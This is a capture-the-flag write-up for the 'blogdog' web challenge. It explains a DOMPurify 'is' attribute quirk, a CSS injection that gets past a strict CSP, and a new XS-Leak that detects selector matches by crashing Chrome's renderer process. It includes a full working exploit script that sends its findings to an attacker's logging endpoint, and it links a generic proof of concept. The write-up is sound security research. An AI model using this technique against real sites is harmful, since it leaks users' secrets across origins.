The first challenge I looked at during x3CTF was "blogdog" by rebane2001. It's tagged as "hard web xssbot", which is right up my alley. My goal was to get the first blood, but it took me way longer than expected even though I quickly thought I had all the right ideas. This turned out to be because I was working on an unintended solution that was a lot more complex than the intended solution, but it is a new technique that can be applied in many other scenarios.
In summary, my new technique allows you to exfiltrate the result of CSS Injection when the Content-Security-Policy doesn't allow external requests, so things like background-image: url(...)
won't load. It is an XS-Leak possible on a window reference and only needs any URL on the website to be iframable.
The Challenge
The source code of this challenge is quite simple:
blogdog/
├── Dockerfile
└── src/
├── favicon.ico
├── index.html
├── index.js
├── package-lock.json
├── package.json
└── purify.min.js
We have a server-side index.js
which is an Express server with a single endpoint, simply returning index.html
with a CSP:
const fs = require('fs');
const crypto = require('crypto');
const express = require('express');
const app = express();
const port = 3000;
const index = fs.readFileSync(__dirname + "/index.html").toString()
const FLAG = process.env?.FLAG || "x3c{this_is_a_fake_flag_1234567890_f4k3_fl4g_4lso_ure_4_qt_patootie}";
if (FLAG.length !== 68 || !/^x3c{[a-z0-9_]+}$/.test(FLAG)) throw Error("Invalid flag");
app.get('/', (req, res) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.setHeader('Content-Type', 'text/html');
res.setHeader('Content-Security-Policy', `script-src 'self' 'nonce-${nonce}'; style-src 'nonce-${nonce}'; object-src 'none'; img-src 'none';`);
res.send(index.replaceAll("NONCE", nonce));
});
...
In this an Express server, there's also an endpoint to send the bot to your URL if the text you submit contains any URL:
app.post('/', (req, res) => {
let responseText = "Your response has been successfully recorded!\n"
const content = (req?.body?.content || "").toString();
const targetUrl = /https?:\/\/[^ ]*/.exec(content)?.[0];
if (content) {
...
xssbot(targetUrl);
}
res.send(responseText);
});
async function xssbot(url) {
console.log(`Checking URL: ${url}`);
...
console.log(`Setting flag`);
const context = await browser.createBrowserContext();
const page = await context.newPage();
await page.goto("http://localhost:3000/");
await page.waitForSelector('#flag');
await page.type('#flag', FLAG);
console.log(`Opening ${url}`);
setTimeout(() => {
try {
browser.close();
} catch (err) {
console.log(`Error: ${err}`);
}
}, TIMEOUT);
try {
await page.goto(url);
} catch (err) {
console.log(`Error: ${err}`);
}
}
As you can see, the XSSBot will open http://localhost:3000/, then input the FLAG
into the #flag
element (with id="flag"
), before opening our arbitrary URL. The goal is of course to steal this flag.
Let's look at the client-side code:
...
<h1>🦴 BlogDog</h1>
<p>Submit an article and we'll take a look as soon as paw-sible!</p>
<form action="/" method="POST">
<label for="flag">Flag: </label><input name="flag" id="flag"/><br>
<label for="content">Content: </label><br><textarea rows="8" name="content" id="input"></textarea><br>
<input type="submit" name="Submit">
</form>
<p><i>This website is protected by DOMPurify technology.</i></p>
<hr>
<div id="output"></div>
<script type="text/javascript" nonce="NONCE">
const SAMPLE_ARTICLE = "<h3>Sample article</h3><p><i>Lorem ipsum</i> dolor sit amet, consectetur adipiscing skibidi, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex hawk tuaho consequat.</p><p>Duis aute irure dolor in rizz in voluptate velit esse cillum dolore eu fugiat sigma pariatur. Excepteur sint occaecat cupidatat non proident, uwu in culpa qui skull emojei mollit anim id est laborum.</p>";
const input = document.getElementById("input");
const output = document.getElementById("output");
const flag = document.getElementById("flag");
const purifyConfig = {
ALLOWED_ATTR: [],
ALLOWED_TAGS: ["a", "b", "i", "s", "p", "br", "div", "h1", "h2", "h3", "strike", "strong"],
ALLOW_ARIA_ATTR: false,
ALLOW_DATA_ATTR: false,
}
function loadHtml(html) {
const sanitized = DOMPurify.sanitize(html.replace(/["'&]/g,''), purifyConfig).replace(/["'&]/,'');
output.innerHTML = `<h2>Sanitized HTML</h2><div id="sanitized">` +
`<style nonce="NONCE">#sanitized:before { ` +
`font-family: monospace; color: #224; ` +
`content: "${sanitized.replace(/([\\/\n\r\f])/g,'\\$1')}" }</style>` +
`</div><hr><h2>Rendered HTML</h2>${sanitized}<hr>`;
}
input.oninput = () => loadHtml(input.value);
flag.oninput = () => localStorage.setItem("flag", flag.value);
window.onload = () => {
flag.setAttribute('value', localStorage.getItem("flag") ?? "x3c{fake_flag}")
input.value = decodeURI(window.location.search).replace(/^\?/,'') || SAMPLE_ARTICLE;
loadHtml(input.value);
}
</script>
The JavaScript code defines a strict DOMPurify config, and the library is included in its latest version. On window.onload
, the flag is taken from localStorage or set to a default value. Whenever you type in the flag input, the flag.oninput
handler sets this localStorage entry. Then, input.value
is taken from the URL search part (everything after the ?
) and loaded using loadHtml()
.
The loadHTML()
function first removes any "
, '
or &
characters from the input. Then runs it through DOMPurify with a very strict config, allowing no form of attributes, only a few boring tags. It removes "'&
characters from the result one last time and places it into two spots in the DOM via output.innerHTML
. It's put into a <style>
tag inside a content: "..."
property with a few characters escaped, and also later as regular HTML.
The result is that we can write some limited HTML and have it render on the page:
CSS Injection
Seeing the DOMPurify config, the ALLOW_ATTR: []
may look like it disallows any attributes from appearing in the output HTML. However, just this config alone would still allow data-anything=
and aria-anything=
attributes, because these are seen as separate config options with ALLOW_DATA_ATTR
and ALLOW_ARIA_ATTR
. Unfortunately for us, these are both also set to false
. It seems like we cannot in any way write attributes.
Luckily for me, I recently dove deep into Mutation XSS and found all sorts of weird HTML behavior. I made a challenge about this and shortly thereafter a writeup. This included an odd trick found in a JSDOM issue where it was intended behavior that the is=
attribute cannot be removed through Element.removeAttribute()
.
We can test that this indeed allows us to create an attribute in the output without using quotes ("
) in our input, even through a DOMPurify config that should disallow any attribute:
We cannot control the value of it, as that does get cleared by DOMPurify. But it allows us to get "
characters into the output. If we look carefully at the source code again, you may notice that the 2nd .replace()
is missing the global (/g
) flag in its Regular Expression:
const sanitized = DOMPurify.sanitize(html.replace(/["'&]/g,''), purifyConfig).replace(/["'&]/,'');
This causes the replacement to only occur once, so only a single "
of our output is removed. When it is later placed into the content: "..."
property, this character closes the string and allows us to start writing arbitrary CSS rules. For example:
After sanitization, this turns into:
When placed into the DOM, it looks like this:
<style nonce="NONCE">
#sanitized:before {
font-family: monospace;
color: #224;
content: "<p is=">}*{color: red}"
}
</style>
CSS doesn't care about the extra >
character, and we can open up a new rule with a selector of *
matching everything, setting the color to red. This causes the whole page to turn red:
http://localhost:3000/?%3Cp%20is%3E}*{color:%20red}
Now we have CSS Injection using a URL, and the flag on the XSSBot will be set inside the <input name="flag" id="flag"/>
element's value=
attribute. Using common CSS Injection techniques, it should be possible to use many different selectors matching the input[value=]
attribute with different values and make requests with a background: url(...)
to an external server to know which matched. However, we are not so lucky because the Content-Security-Policy prevents any images from being requested using img-src 'none'
:
I experimented a bit with trying to load images like background: url(//example.com)
, but everything gives a CSP error:
Refused to load the image 'http://example.com/' because it violates the following Content Security Policy directive: "img-src 'none'".
Timing Attack (inspiration)
While looking around online for any existing techniques for bypassing a CSP during CSS Injection, I stumbled upon this writeup:
https://blog.huli.tw/2024/02/12/en/dicectf-2024-writeup/#webx2fanother-csp-16-solves
It has a similar default-src 'none'
restriction which doesn't allow background images. They explain two different ideas to exploit this CSS Injection where the XSSBot tells you when it is done:
- Crash the browser conditionally using CSS to instantly get a 'done' response (quicker than normal)
- Conditionally load very slow CSS that causes the browser to take more time, and notice a later 'done' response (slower than normal)
While we can use either of these methods in our payload, we don't have the luxury of a 'done' response in this challenge. The XSSBot is fire-and-forget, we can only try to start it again after a timeout of 60 seconds.
A few months ago, I dove deep into XS-Leaks and also wrote another blog post about a cool new technique. From this I remembered that <iframe>
s trigger an onload=
event, even cross-origin. So if the target page is iframable, you can measure how long it takes for the page to load. We can then detect if the heavy CSS payload was executed or not, and thus if the selector matched or not.
At this point, I thought I had figured out the whole challenge and started implementing. While a little inconsistent and hacky with the timings, my script worked and it was possible to leak my testing flag out of the iframe. But when trying it on the remote, the flag I got was:
x3c{fake_flag}
...
Huh?! The bot should have the real flag but it looks like it doesn't. After some debugging, the reason this fails is because of a feature called "Storage Partitioning". When a site is in a third-party context, such as an <iframe>
on another site, all its storage APIs including localStorage
are separate from the main origin! This means the bot won't have the real flag in the iframe and it falls back to the testing flag. All of that work for an attack that can only give me fake flags.
XS-Leak using Process Crashing
While the above idea didn't work, it was still interesting to explore. We need to open the target in a first-party context for it to load the real flag. This is possible with window.open()
, but it doesn't send a nice onload=
event to measure how long it took to load our CSS. This got me thinking about the other option: Crashing.
If we find any CSS that crashes the page, we may be able to detect that cross-origin somehow. The proof-of-concept from Huli's post is fixed, but there may be new Chrome bugs open on the issue tracker searching for "css crash". This brought me to the following issue with a very simple PoC:
"Chrome tab crashes when using gradients in display-p3, rec2020, prophoto-rgb or a98-rgb"
While the issue says "Fixed", I tried it in my browser and it instantly crashed the tab. In the comments under the issue, it turned out to be a different open issue from only 2 days ago at the time of the challenge.
When I tested it in my browser, I used my "Responder" tool to easily write HTML and view it using query parameters. When clicking the ↗️ icon it opens the HTML in a new tab, and I noticed it crashes not only the tab, but my editor too. It crashes all instances of that same origin.
This was interesting as I did not expect it, I quickly tried what happened if there is also an iframe somewhere of that same origin, and sure enough, that would crash too:
<iframe src="http://localhost:3000"></iframe>
<script>
onclick = () => {
window.open("http://localhost:3000/?%3Cp%20is%3E}*{background:linear-gradient(in%20display-p3,red,blue)}", "", "popup");
}
</script>
All pages of the same origin run in the same process in Chrome, this is called "Full Site Isolation". We just learned that this even works through <iframe>
s.
I realized that we might be able to use this for an XS-Leak on a window reference. While we may not be able to detect directly if the window has crashed, it is more likely that we are able to detect if the related iframe crashed with it.
When loading a lot of iframes, they load in sequence. If we interrupt that with a window crash, the iframes stop loading and it turns out they don't send an onload=
event:
<div><textarea id="log" cols="100" rows="10"></textarea></div>
<script>
const TARGET = "http://localhost:3000";
for (let i = 1; i <= 10; i++) {
const iframe = document.createElement("iframe");
iframe.src = TARGET;
document.body.appendChild(iframe);
iframe.onload = () => {
log.value += `Loaded ${i}/10\n`;
}
}
window.open(TARGET + "/?%3Cp%20is%3E}*{background:linear-gradient(in%20display-p3,red,blue)}", "", "popup");
</script>
We can detect if all 10 frames loaded. If they all loaded, the popup likely didn't crash. If some didn't load after enough time, the popup likely crashed them. This tells us if the selector matched or not!
We now have the same primitive as my previous timing solution, but this time the selector executes in a first-party context in the popup window. Therefore, the real flag will be matched and we can slowly leak it.
Solving the Challenge
Now that we have a technique, we just need to automate it. I'll spare you all the details but here were some points of consideration while making the exploit script:
- Crashing the page is pretty slow, it requires about 2 seconds of waiting time before being able to load more pages and continue the attack.
- Instead of generating 10 iframes, we can just generate 2 with some clever timing. Waiting 200ms appears to work, then the 1st iframe often loads normally but the 2nd iframe will crash while it is loading. This is surprisingly consistent.
- When using async sleeps, the code tries to do things in parallel. This caused issues where the iframes would load around the popup, not getting crashed. That's why I had to use
setTimeout()
instead in some places.
Another point to touch on is the fact that the {
character needs to be escaped inside the CSS selector. You would normally do this with a \{
, but the .replace(/([\\/\n\r\f])/g,'\\$1')
code will turn our input[value^=x3c\{]
into input[value^=x3c\\{]
. The extra backslash causes it not to work, and using any of the whitespace characters also doesn't. In the end, it is not possible to include {
in your selector.
I solved this by looking inside the flag instead of from the start. Using *=
, you can search for an attribute that contains a certain string. By finding some valid characters in the middle of the flag, I could work forward and backward to get the whole inner flag text.
The final exploit script will go through all possible characters ([a-z0-9_]
) one by one until one crashes. When the last testing iframe has loaded, we can instantly go to the next. This causes it to be relatively quick, taking a few seconds per character.
When we have found a character, we will build off of it by setting it as a prefix for all selectors for the 2nd character. This way we slowly build out the whole string.
All progress is logged by sending simple requests to my server, so I can see how far it got and update the prefix for the next attempt.
Here is the full exploit script:
<div><button id="leak">Leak</button></div>
<div><textarea id="log" cols="100" rows="30" readonly></textarea></div>
<script>
const TARGET = 'http://localhost:3000';
const ALPHABET = "_e3a4ri1o0t7ns25lcudpmhg6bfywkvxzjq89"; // Ordered by frequency
const TIMEOUT = 1000; // Max load time for the error page
let w;
function log(msg) {
const value = document.getElementById('log').value;
document.getElementById('log').value = msg + '\n' + value;
navigator.sendBeacon(`/log.php`, msg);
}
// Return whether the selector was found
function leak(prefix, c) {
return new Promise((resolve) => {
// Crash all instances of this origin
const selector = `input[value*=${prefix+c}]`;
const payload = `<p is>}${selector}{background:linear-gradient(in display-p3,red,blue)}`;
w.location = TARGET + "/?" + payload.replace(/ /g, '%20');
setTimeout(() => {
// Create 2 iframes. The 1st will always succeed, but the 2nd may crash while loading
const iframe = document.createElement("iframe");
iframe.src = TARGET + "/%00";
iframe.style.display = 'none';
document.body.appendChild(iframe)
const iframe2 = iframe.cloneNode();
document.body.appendChild(iframe2)
const timeout = setTimeout(() => {
// If crash blocked onload= event
document.querySelectorAll('iframe').forEach(iframe => iframe.remove());
resolve(true);
}, TIMEOUT);
iframe2.onload = () => {
// If iframe still loaded
clearTimeout(timeout);
document.querySelectorAll('iframe').forEach(iframe => iframe.remove());
resolve(false);
}
}, 200);
});
}
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
document.getElementById('leak').addEventListener('click', async () => {
async function linearSearch(prefix) {
for (let c of ALPHABET) {
const result = await leak(prefix, c);
log(`${prefix}[${c}]: ${result}`);
if (result) {
return c;
}
}
}
w = window.open("about:blank", "popup", "width=500,height=200");
// Inner flag starts with 'di', update this for each iteration to continue your progress
let prefix = 'di';
while (true) {
// Find one character
const result = await linearSearch(prefix);
log('='.repeat(25));
if (result) {
log(`Found character: ${prefix}${result}`);
prefix += result;
await sleep(2000);
} else {
log('NOT FOUND');
throw new Error('Not found');
}
}
w.close();
log(`FINAL: ${prefix}`);
alert(prefix);
});
document.getElementById('leak').click();
</script>
Accompanied by a simple PHP handler (/log.php
) that prints the log messages, we can send the exploit page to the bot and slowly see the flag coming in.
<?php
$log = file_get_contents('php://input');
file_put_contents('php://stdout', 'LOG: ' . $log . "\n");
In the above recording, you can see it leak part of the flag in real time. After doing a few iterations of this, we can finally find the whole flag!
x3c{did_u_find_a_d0m9ur1fy_0d4y_0r_is_1t_ju57_4_51lly_br0w53r_qu1rk}
Conclusion
Because this is such a generic technique, I made a generic proof of concept that you should be able to more easily apply to any CSS Injection you find in the wild.
See the gist below:
https://gist.github.com/JorianWoltjer/76fdd101a6e89b06b3b047d35fb9bcc0
In summary, we learned about a weird browser quirk where the is=
attribute cannot be removed, but most interesting to me was the exploitation of CSS Injection. Even with a CSP blocking any external requests, it is possible to leak a selector's result by crashing the popup's process, detectable by a missing iframe onload=
event.
I hope you can apply this to the real world and would love to hear your stories!